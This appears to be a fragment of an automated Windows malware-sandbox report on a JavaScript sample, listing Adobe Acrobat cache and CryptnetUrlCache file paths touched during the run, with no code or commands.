C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b6ef998d-acf9-4cd9-bf84-421832dd214c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2676

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2676

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
18620271451234622924.js